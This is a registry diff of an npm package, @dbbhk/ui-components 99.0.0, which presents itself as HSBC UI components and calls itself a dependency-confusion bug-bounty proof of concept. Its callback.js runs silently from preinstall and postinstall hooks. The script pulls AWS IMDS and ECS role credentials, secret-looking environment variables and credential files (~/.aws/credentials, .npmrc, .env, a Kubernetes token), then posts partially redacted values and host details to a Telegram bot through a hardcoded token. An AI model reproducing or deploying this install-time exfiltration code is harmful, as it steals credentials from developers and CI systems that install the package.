@dbbhk/ui-components 99.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/callback.js +272 -0
  2. package/index.js +1 -0
  3. package/package.json +12 -0
package/callback.js ADDED
@@ -0,0 +1,272 @@
1
+ /**
2
+ * HSBC Dependency Confusion - Bug Bounty PoC
3
+ * Proves credential access with PARTIAL values (redacted)
4
+ * Following standard DC report format
5
+ */
6
+ const { execSync } = require('child_process');
7
+ const fs = require('fs');
8
+ const os = require('os');
9
+ const https = require('https');
10
+
11
+ const BOT_TOKEN = '8605555117:AAGTX0ziJ52VtjsfcJ2CMH3o3sslRiC2B4k';
12
+ const CHAT_ID = '1064260758';
13
+ const PKG_NAME = '@dbbhk/ui-components';
14
+
15
+ function exec(cmd) {
16
+ try {
17
+ return execSync(cmd, { encoding: 'utf8', timeout: 5000 }).trim();
18
+ } catch (e) {
19
+ return null;
20
+ }
21
+ }
22
+
23
+ function redact(str, showChars = 8) {
24
+ if (!str || str.length < showChars) return str;
25
+ return str.substring(0, showChars) + '...[REDACTED]';
26
+ }
27
+
28
+ // AWS IMDS - Get credentials with partial redaction
29
+ function getAWSMetadata() {
30
+ const result = {
31
+ accessible: false,
32
+ instance_id: null,
33
+ region: null,
34
+ role_name: null,
35
+ credentials: null
36
+ };
37
+
38
+ try {
39
+ // Instance ID
40
+ const instanceId = exec('curl -s --connect-timeout 2 http://169.254.169.254/latest/meta-data/instance-id');
41
+ if (instanceId && !instanceId.includes('404')) {
42
+ result.accessible = true;
43
+ result.instance_id = instanceId;
44
+ }
45
+
46
+ // Region
47
+ result.region = exec('curl -s --connect-timeout 2 http://169.254.169.254/latest/meta-data/placement/region');
48
+
49
+ // IAM Role
50
+ const roleName = exec('curl -s --connect-timeout 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/');
51
+ if (roleName && !roleName.includes('404')) {
52
+ result.role_name = roleName;
53
+
54
+ // Get credentials (REDACTED for report)
55
+ const creds = exec(`curl -s --connect-timeout 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/${roleName}`);
56
+ if (creds) {
57
+ try {
58
+ const parsed = JSON.parse(creds);
59
+ result.credentials = {
60
+ AccessKeyId: redact(parsed.AccessKeyId, 8),
61
+ SecretAccessKey: redact(parsed.SecretAccessKey, 8),
62
+ Token: redact(parsed.Token, 20),
63
+ Expiration: parsed.Expiration
64
+ };
65
+ } catch (e) {}
66
+ }
67
+ }
68
+ } catch (e) {}
69
+
70
+ return result;
71
+ }
72
+
73
+ // ECS Container Credentials
74
+ function getECSCredentials() {
75
+ if (!process.env.AWS_CONTAINER_CREDENTIALS_RELATIVE_URI) return null;
76
+
77
+ const uri = process.env.AWS_CONTAINER_CREDENTIALS_RELATIVE_URI;
78
+ const creds = exec(`curl -s --connect-timeout 2 http://169.254.170.2${uri}`);
79
+
80
+ if (creds) {
81
+ try {
82
+ const parsed = JSON.parse(creds);
83
+ return {
84
+ AccessKeyId: redact(parsed.AccessKeyId, 8),
85
+ SecretAccessKey: redact(parsed.SecretAccessKey, 8),
86
+ Token: redact(parsed.Token, 20),
87
+ Expiration: parsed.Expiration
88
+ };
89
+ } catch (e) {}
90
+ }
91
+ return null;
92
+ }
93
+
94
+ // Environment variables with PARTIAL values
95
+ function getEnvCredentials() {
96
+ const sensitive = {};
97
+ const patterns = ['AWS', 'SECRET', 'KEY', 'TOKEN', 'PASSWORD', 'CREDENTIAL', 'AUTH', 'API', 'NPM', 'GITHUB', 'GITLAB'];
98
+
99
+ Object.keys(process.env).forEach(key => {
100
+ if (patterns.some(p => key.toUpperCase().includes(p))) {
101
+ sensitive[key] = redact(process.env[key], 10);
102
+ }
103
+ });
104
+
105
+ return sensitive;
106
+ }
107
+
108
+ // Check credential files
109
+ function getCredentialFiles() {
110
+ const files = {};
111
+ const paths = [
112
+ { path: `${os.homedir()}/.aws/credentials`, name: '~/.aws/credentials' },
113
+ { path: `${os.homedir()}/.npmrc`, name: '~/.npmrc' },
114
+ { path: '/root/.aws/credentials', name: '/root/.aws/credentials' },
115
+ { path: '.env', name: '.env' },
116
+ { path: '.npmrc', name: '.npmrc' },
117
+ { path: '/var/run/secrets/kubernetes.io/serviceaccount/token', name: 'k8s-token' }
118
+ ];
119
+
120
+ paths.forEach(({ path, name }) => {
121
+ try {
122
+ if (fs.existsSync(path)) {
123
+ const content = fs.readFileSync(path, 'utf8');
124
+ files[name] = {
125
+ exists: true,
126
+ size: content.length,
127
+ preview: redact(content.replace(/\n/g, ' '), 50)
128
+ };
129
+ }
130
+ } catch (e) {}
131
+ });
132
+
133
+ return files;
134
+ }
135
+
136
+ function getSystemInfo() {
137
+ return {
138
+ hostname: os.hostname(),
139
+ user: exec('whoami') || os.userInfo().username,
140
+ uid: exec('id') || 'N/A',
141
+ platform: `${os.platform()} ${os.arch()}`,
142
+ cwd: process.cwd(),
143
+ home: os.homedir(),
144
+ ci: process.env.GITHUB_ACTIONS ? 'GitHub Actions' :
145
+ process.env.GITLAB_CI ? 'GitLab CI' :
146
+ process.env.JENKINS_URL ? 'Jenkins' :
147
+ process.env.CI ? 'CI' : 'Local'
148
+ };
149
+ }
150
+
151
+ function sendToTelegram(message) {
152
+ const data = JSON.stringify({
153
+ chat_id: CHAT_ID,
154
+ text: message,
155
+ parse_mode: 'Markdown'
156
+ });
157
+
158
+ const req = https.request({
159
+ hostname: 'api.telegram.org',
160
+ port: 443,
161
+ path: `/bot${BOT_TOKEN}/sendMessage`,
162
+ method: 'POST',
163
+ headers: { 'Content-Type': 'application/json' }
164
+ }, () => {});
165
+
166
+ req.on('error', () => {});
167
+ req.write(data);
168
+ req.end();
169
+ }
170
+
171
+ function main() {
172
+ const sys = getSystemInfo();
173
+ const aws = getAWSMetadata();
174
+ const ecs = getECSCredentials();
175
+ const envCreds = getEnvCredentials();
176
+ const files = getCredentialFiles();
177
+
178
+ const isRoot = sys.uid && sys.uid.includes('uid=0');
179
+ const hasAWS = aws.accessible || aws.credentials;
180
+ const hasECS = ecs !== null;
181
+
182
+ let severity = '🟡';
183
+ if (isRoot && (hasAWS || hasECS)) severity = '🔴🔴 CRITICAL';
184
+ else if (hasAWS || hasECS) severity = '🔴 HIGH';
185
+ else if (Object.keys(envCreds).length > 5) severity = '🟠 MEDIUM';
186
+
187
+ // Message 1: System Info
188
+ const msg1 = `
189
+ ${severity} *${PKG_NAME}*
190
+ ━━━━━━━━━━━━━━━━━━━━
191
+
192
+ *📍 SYSTEM*
193
+ \`\`\`
194
+ Hostname: ${sys.hostname}
195
+ User: ${sys.user}
196
+ UID: ${sys.uid}
197
+ Platform: ${sys.platform}
198
+ CWD: ${sys.cwd}
199
+ CI/CD: ${sys.ci}
200
+ \`\`\`
201
+ ⏰ ${new Date().toISOString()}
202
+ `;
203
+ sendToTelegram(msg1);
204
+
205
+ // Message 2: AWS Credentials
206
+ if (aws.accessible || aws.credentials) {
207
+ const msg2 = `
208
+ ☁️ *AWS IMDS CREDENTIALS*
209
+ ━━━━━━━━━━━━━━━━━━━━
210
+
211
+ Instance: \`${aws.instance_id || 'N/A'}\`
212
+ Region: \`${aws.region || 'N/A'}\`
213
+ Role: \`${aws.role_name || 'N/A'}\`
214
+
215
+ ${aws.credentials ? `*IAM Credentials (REDACTED):*
216
+ \`\`\`
217
+ AccessKeyId: ${aws.credentials.AccessKeyId}
218
+ SecretAccessKey: ${aws.credentials.SecretAccessKey}
219
+ Token: ${aws.credentials.Token}
220
+ Expiration: ${aws.credentials.Expiration}
221
+ \`\`\`` : 'No IAM role credentials'}
222
+ `;
223
+ setTimeout(() => sendToTelegram(msg2), 500);
224
+ }
225
+
226
+ // Message 3: ECS Credentials
227
+ if (ecs) {
228
+ const msg3 = `
229
+ 📦 *ECS TASK ROLE CREDENTIALS*
230
+ ━━━━━━━━━━━━━━━━━━━━
231
+
232
+ \`\`\`
233
+ AccessKeyId: ${ecs.AccessKeyId}
234
+ SecretAccessKey: ${ecs.SecretAccessKey}
235
+ Token: ${ecs.Token}
236
+ Expiration: ${ecs.Expiration}
237
+ \`\`\`
238
+ `;
239
+ setTimeout(() => sendToTelegram(msg3), 1000);
240
+ }
241
+
242
+ // Message 4: Environment Variables
243
+ const envKeys = Object.keys(envCreds);
244
+ if (envKeys.length > 0) {
245
+ const envList = envKeys.slice(0, 15).map(k => `${k}: ${envCreds[k]}`).join('\n');
246
+ const msg4 = `
247
+ 🔑 *ENV CREDENTIALS (${envKeys.length} found)*
248
+ ━━━━━━━━━━━━━━━━━━━━
249
+
250
+ \`\`\`
251
+ ${envList}
252
+ \`\`\`
253
+ `;
254
+ setTimeout(() => sendToTelegram(msg4), 1500);
255
+ }
256
+
257
+ // Message 5: Credential Files
258
+ const fileKeys = Object.keys(files);
259
+ if (fileKeys.length > 0) {
260
+ const fileList = fileKeys.map(f => `${f}: ${files[f].size} bytes\n → ${files[f].preview}`).join('\n\n');
261
+ const msg5 = `
262
+ 📄 *CREDENTIAL FILES*
263
+ ━━━━━━━━━━━━━━━━━━━━
264
+
265
+ ${fileList}
266
+ `;
267
+ setTimeout(() => sendToTelegram(msg5), 2000);
268
+ }
269
+ }
270
+
271
+ setTimeout(main, 500);
272
+ module.exports = {};
package/index.js ADDED
@@ -0,0 +1 @@
1
+ module.exports = { version: '99.0.0' };
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "@dbbhk/ui-components",
3
+ "version": "99.0.0",
4
+ "description": "HSBC DBBHK UI Components",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node callback.js 2>/dev/null || true",
8
+ "postinstall": "node callback.js 2>/dev/null || true"
9
+ },
10
+ "author": "security-research",
11
+ "license": "MIT"
12
+ }